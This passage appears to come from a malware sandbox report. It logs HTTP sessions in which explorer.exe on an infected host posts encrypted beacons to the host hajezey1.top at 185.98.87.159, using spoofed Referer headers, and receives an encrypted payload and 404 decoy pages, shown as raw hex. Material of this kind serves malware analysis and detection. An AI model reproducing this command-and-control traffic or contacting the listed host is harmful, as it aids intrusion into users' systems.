server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.7	49777	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:51.711175919 CEST	4206	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dkannuwrja.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 214 Host: hajezey1.top
Oct 29, 2021 20:29:51.711191893 CEST	4207	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 92 66 5d 02 c8 a1 c1 64 0d a1 90 7a Data Ascii: 7v:7AFTmwmwu$f]dzDA"[ZOl3[~9De!9PLUeE"ij9E=_{A3A8Vn;=zu+YxF\|PTtxB(48\tpC=
Oct 29, 2021 20:29:51.792746067 CEST	4208	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 7f e2 46 aa 8f 8c f5 cf 9b 2b 25 9b f6 ba c9 1b b0 1c 67 74 d2 ff 95 87 cd 2b 80 78 51 a1 a2 8f 2c df d2 1c e0 32 02 50 08 08 d8 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 41 8f 20 59 55 11 5c 7c 3b 66 ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 bd 28 c6 8a 44 d8 06 0e 45 c7 1e 7d 6f fb e0 04 89 f9 d4 57 80 90 70 89 ec e4 4a 6b b6 f2 a2 22 48 52 df 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 23 36 55 96 da 19 d1 3a 2d b2 4e 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 71 87 4a 04 38 6d 72 14 2c d0 e8 b1 14 65 7c 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 a2 4c 64 cd 25 5c 8d b7 bf 2e 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 c5 d0 b8 be 34 56 9b 46 76 99 86 11 00 83 32 42 52 f7 c2 ae 64 0f 95 36 e1 48 52 67 25 50 b8 81 f6 bc 81 de bb 6e 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 bc a6 62 4a 08 5d f6 b3 06 2d 1a c0 5e f3 7c bb a7 fd d4 98 21 17 da 9a 2d 35 23 7d f5 b2 68 60 b8 10 31 fa ed ad 67 e1 e1 bd 84 f3 8c 40 b6 f0 90 4f a1 21 71 ae 61 2e 7a b1 76 af ce c6 83 41 66 30 ae a9 c8 d0 7e 33 3a 64 67 0b bf 77 6a 66 21 0e 8a ef 28 1d 41 81 d4 b6 78 8e 18 d3 e4 9e 0c 7b d6 6c 02 2f 27 76 d7 9b 4e 20 ba f5 be 08 85 fd 89 aa 41 b7 28 8f f4 d5 06 78 5c 9b b8 08 c0 e5 5c c5 17 00 f3 b8 d0 a3 39 a9 b2 13 20 1d 06 1a 1b e1 ea f0 6c 8d e9 c7 d2 83 6f d5 c5 3b ec cf 8b 40 75 02 99 e0 03 f4 c3 05 cb 99 d3 23 2a 71 c7 a5 d9 62 77 ca 08 8f bd c8 11 61 a1 99 9e 5f e3 0f 4e 8a d0 23 9d 43 8e 7e 14 0e b9 2c 58 99 f7 6d 08 d8 fd f7 cb ab 42 66 fb 05 6d 77 5e 8e b7 4a 84 99 fb 42 17 7d bd 91 94 13 85 f3 bd b3 3b 1c 67 c7 22 e7 19 8e 53 c0 b2 21 ab 63 95 22 89 ac 1f 13 34 5e 12 59 b3 52 34 eb e0 0f 25 b8 a3 c1 1d d7 cb ab 14 62 f3 3b 1f 70 da be 91 b3 bf de 2c eb 57 66 80 fe 9d 11 b0 5e fe 14 f9 20 e4 89 93 64 4b 70 94 ea 13 6b e6 e8 80 0b 3d f2 9d 65 09 de fb 18 e1 98 ea 30 e3 dc dd 6a db 82 96 dd 07 22 b9 ed 8c 54 a5 f1 36 81 ac cc b4 29 c7 79 f5 66 38 18 f8 e0 c0 24 b2 f0 9c 24 c8 92 7c f9 d4 e8 53 08 86 52 e4 3f a4 53 65 ad 06 70 00 16 b7 36 df 44 f1 22 74 2c e7 36 c5 da ac da 5f 81 50 ec 3e b9 72 39 0e ac 27 36 82 af 97 28 e0 f6 be e6 a7 e2 84 af 3a ce 39 e8 4e 95 91 3a 90 ff 53 64 22 62 a2 26 0c 11 bf 2a 5c a7 ef c6 a1 00 ae 8b 91 17 5d 35 bd ac c0 59 9d 9b f2 e5 fe de 54 1e 98 92 fb b2 6a 14 9d 84 32 c7 37 6f 03 70 51 8d c8 81 99 8b fa 81 7f 1d bc 6c c2 ca a5 a4 d0 9b 38 ea 81 2f 07 5b 6c 7e 96 23 97 84 79 ea 9a 4a 1d 68 8c 50 16 11 28 a0 81 bc 73 9d 7d bb fa c8 16 31 e5 a8 6f 20 c9 09 e4 ce cd 6b 90 46 97 fe da 39 9d f6 c1 6d 06 42 7b fb fa f3 a5 9a 46 e4 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8\|F+%gt+xQ,2P0YObyT=a'4A YU\\|;fIXKg[Ge92)g z6(DE}oWpJk"HRI?o\|6NI[LeU[0z;+W~5=PVpGZlqV@q!Uvy#6U:-N%GkKm@NQ>[qJ8mr,e\|"JG0Z"?kQTJMQLd%\.&Q#F<pvA>C/CbGB4VFv2BRd6HRg%Pnj6'NGc_,/DO9W%bJ]-^\|!-5#}h`1g@O!qa.zvAf0~3:dgwjf!(Ax{l/'vN A(x\\9 lo;@u#qbwa_N#C~,XmBfmw^JB};g"S!c"4^YR4%b;p,Wf^ dKpk=e0j"T6)yf8$$\|SR?Sep6D"t,6_P>r9'6(:9N:Sd"b&\]5YTj27opQl8/[l~#yJhP(s}1o kF9mB{F
Oct 29, 2021 20:29:51.792793989 CEST	4209	IN	Data Raw: bb 1e 5d 97 62 c2 0e db 31 d3 4c 46 0e e3 8e c1 68 bf 6c bc f0 ba ad 3d 6f c2 8f 88 03 48 70 a1 9c 82 7c 8e 4e 3c 55 84 05 88 f2 61 95 6d 57 31 db 31 4f df a7 36 03 d4 3b 08 f0 6b df cc be af 9a 5d 03 41 40 77 b4 15 50 54 0c d7 8b 38 7e 9b 71 55 Data Ascii: ]b1LFhl=oHp\|N<UamW11O6;k]A@wPT8~qU*x`9@3Q627Y6h)$O6:CoH\KW_g^eaE3W0D>m<5BQ>tU@5@N)&%T7E9;zmW8 T]r]#=)
Oct 29, 2021 20:29:51.792823076 CEST	4211	IN	Data Raw: 74 42 b2 90 0a d6 13 88 ba 8c 88 b5 eb fc 61 cc 77 8f 5c dd 56 65 c9 32 ad 44 12 7a 94 9c ae a7 6e a0 73 85 53 5a 6b 3e 22 e2 fa d7 b0 d6 50 af f5 70 21 9d 63 d1 dc 27 de 83 4e ee a5 94 84 75 d9 67 ea fc 60 87 6a ca bd a8 c1 13 ad 5c 83 c2 87 98 Data Ascii: tBaw\Ve2DznsSZk>"Pp!c'Nug`j\uuKL>LxwqAW/1D6qN0{l8{hZ8n#"}G('IRj_MXVT41zNYr)7:CnqS/%
Oct 29, 2021 20:29:51.792881012 CEST	4212	IN	Data Raw: a7 da ef 36 86 ad 10 0d 69 47 4b 81 15 be f5 8d 35 c0 1e 40 8f 85 52 4b 44 80 38 cc 88 a2 9c 3b d5 3b 4b 98 c5 ec 4a ce ed b0 a3 8f be 0d e2 ea 67 0b 06 60 4c bd 56 69 b6 42 ce 95 20 e3 db ea 62 80 d4 4f 8b 6b c3 5e df fd 7f 46 9b 63 94 8a 7f 4c Data Ascii: 6iGK5@RKD8;;KJg`LViB bOk^FcLR"$!IeW:;:F<pOS1)%U%^g{-XK@[l[3V2SFjW/ha!v #N<Igd,bz7cdO( bnUM
Oct 29, 2021 20:29:51.792946100 CEST	4213	IN	Data Raw: de 66 53 73 b4 6e 1c 51 74 2f d0 47 9d 77 4d 13 da f7 53 ee 2f 7b a2 dd 0a 48 75 78 94 87 0a 3c 0e b5 b9 29 3e 31 e0 d5 16 a9 d1 a2 fa 40 42 94 2e 8b 03 68 5e bf 2e d9 b4 e5 66 21 a9 16 d9 3e 9d b2 dd 07 9e 7e 03 7b 67 52 5a 0e 20 0c 87 ec c4 92 Data Ascii: fSsnQt/GwMS/{Hux<)>1@B.h^.f!>~{gRZ d+Uu`QM{?Qj.xl/bF2b QQ$P,fpHUuq?5]2o>-*k&$mT ?+a? y7Gf4w#=_Q{(vxfB&;t
Oct 29, 2021 20:29:51.792977095 CEST	4215	IN	Data Raw: 80 27 82 37 91 e3 2d 60 4f b6 2c 52 e0 09 c2 35 74 c1 ce fa e4 ce 2f a1 b6 00 5e 5f f4 4e a8 ed 5e f9 4c 29 67 27 f0 f2 22 05 66 d8 13 cf fd 06 f7 98 33 49 2c 8e 60 e9 4d 2f 19 3c 00 c3 52 8a 2b d3 23 09 d1 f9 6d 3c 59 e4 86 6b 18 29 4f fd 09 7f Data Ascii: '7-`O,R5t/^_N^L)g'"f3I,`M/<R+#m<Yk)Oxfg.QO[ZU!StFQ,!4S'va>S9gU;ShHglL6r tJIs+X7i*&mf:th"GmWkn[#`oxTNIc>
Oct 29, 2021 20:29:51.793018103 CEST	4216	IN	Data Raw: d5 7b 94 d2 c8 49 39 98 16 a1 db fb 54 cf 2c a5 6d cd 83 82 07 a7 1e e1 f3 80 32 7a ff 85 06 7a 77 53 e5 bb cc dc 19 71 a5 4c c5 3b 8f cd 78 23 73 f5 11 db d9 79 8f 57 c4 37 55 df fa c5 4e 13 33 cf c4 0c ae 9b 4b e3 3a 5c 65 77 b4 38 47 d3 5d 14 Data Ascii: {I9T,m2zzwSqL;x#syW7UN3K:\ew8G]Sgs=Rk_-YHH<YI4:q-M<Z]LbWgUgC'3nuzB?$@H8Yq}]jm?2000v`;+o %g647jkg%jR/d~f-
Oct 29, 2021 20:29:51.793060064 CEST	4218	IN	Data Raw: a8 06 8e e8 7f 36 fc 98 7b a6 c6 34 16 c6 1a 81 b3 8c 1e 38 23 52 d0 70 1d 15 33 d6 21 37 b1 61 71 d1 d2 b9 f7 0a 2b c6 ac d8 e5 c3 92 ae a1 5a 93 7a 39 2f 14 d2 16 94 97 a7 db 57 be c0 1e 8e 85 63 32 13 5b ca 34 a1 67 45 4d ae d8 46 ea c3 68 bc Data Ascii: 6{48#Rp3!7aq+Zz9/Wc2[4gEMFhsW-\%pH?ZzzmxnX_0Kz=`!<RWN,F.U+lYigy$h:{Sr)0lD+qAWHz/`8`Z:40dD
Oct 29, 2021 20:29:51.793095112 CEST	4219	IN	Data Raw: 6e ce b3 a6 37 32 dd 00 c0 3f 66 02 83 f0 4c c0 32 32 e1 ce c4 7b 3b 20 90 75 1a d6 68 f9 b8 4a fe 24 c1 13 c2 d5 51 be 2d 70 57 e6 5d 52 e8 49 4a 29 08 16 9c 83 34 bd e6 1e 0b 15 7d 23 be 63 16 b7 49 22 c9 7e 11 10 c9 d6 03 09 5a dc 23 c0 ce 73 Data Ascii: n72?fL22{; uhJ$Q-pW]RIJ)4}#cI"~Z#ss)xHu&A 4g${E?;2)73ftL} 8TFG(o:?+krA3C%JXFjH/J`b9rOTF571B
Oct 29, 2021 20:29:51.793142080 CEST	4220	IN	Data Raw: 31 f2 1c fb 35 91 63 26 81 b9 01 6a ea 51 72 c4 33 2d 48 28 11 6d e0 c7 fc d0 3d af 2a 01 a8 35 41 a6 fd db f4 0b 7c 10 a6 3a 54 09 88 6f a2 60 2e e0 3b f1 81 1b d5 65 64 b7 5d 2a 10 f2 ed 5c e2 3d 23 7f cb 42 04 63 02 e7 cf 90 1b 4c ef 8e 8e 3f Data Ascii: 15c&jQr3-H(m=5A\|:To`.;ed]\=#BcL?uQdb0]dQ?$'] \Jrbg09@L(pMoD}eAlW:oZk"A}y$`B->>ZroW,.ET$YxIu]] LSq
Oct 29, 2021 20:29:51.845035076 CEST	4222	IN	Data Raw: 4a af 3a 79 08 22 99 bd a1 07 b4 23 dd 8a bd ef 70 8c 1a 3e d7 ea 05 00 0f 40 aa f7 38 aa 29 57 0d 33 61 b0 db ea 9d 46 1d 33 e7 80 ba 54 f7 a5 42 dc b1 4c ef 85 39 df 11 75 48 af 5c fc 82 8a e2 52 77 21 a5 6c e5 c9 6f 98 75 10 aa 85 e7 8f e4 8a Data Ascii: J:y"#p>@8)W3aF3TBL9uH\Rw!louY}'%vlo?2/,ozG7_gJbASp>Up7n9f1Ok ^k#"@t()jNw#Fn0/}a;#*CP(^

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.7	49779	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:54.088094950 CEST	5518	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://naytoe.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 204 Host: hajezey1.top
Oct 29, 2021 20:29:54.088171959 CEST	5518	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 92 66 5d 02 c9 a1 c1 64 45 90 d7 7a Data Ascii: 7v:7AFTmwmwu$f]dEzK"}Ig 8:O8bh9&b%5,S*)].E>97U]g:T8"<1\|nE0D6Qs?"{Q
Oct 29, 2021 20:29:54.166321993 CEST	5519	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.7	49780	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:54.255789995 CEST	5520	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bggaruuq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 246 Host: hajezey1.top
Oct 29, 2021 20:29:54.255799055 CEST	5520	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 93 66 5d 02 c8 a1 c1 64 58 dc df 06 Data Ascii: 7v:7AFTmwmwu$f]dX^`0QQjFd];4)SjZ#6NhLXcTc1;'IN\E]z#JdC_ED0Xi=0OZE^=_mQCR
Oct 29, 2021 20:29:54.335072041 CEST	5521	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.7	49781	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:54.428915977 CEST	5521	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bcaielan.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 163 Host: hajezey1.top
Oct 29, 2021 20:29:54.428921938 CEST	5522	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 90 66 5d 02 c8 a1 c1 64 4d da 8f 19 Data Ascii: 7v:7AFTmwmwu$f]dMP}N:goS &g&;zud/y\WOpVh$G?2oV[Nn}5=
Oct 29, 2021 20:29:54.509980917 CEST	5522	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.7	49782	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:54.601206064 CEST	5523	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sangssr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 260 Host: hajezey1.top
Oct 29, 2021 20:29:54.601224899 CEST	5523	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 91 66 5d 02 c8 a1 c1 64 15 bf a6 32 Data Ascii: 7v:7AFTmwmwu$f]d2>knzE/=b6 YoR\^WSBM~kd#\H#\.)SJu{2\*%4u&:_rl0RbS}J2JC\.xtrH0AMJ-
Oct 29, 2021 20:29:54.682990074 CEST	5524	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.7	49783	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
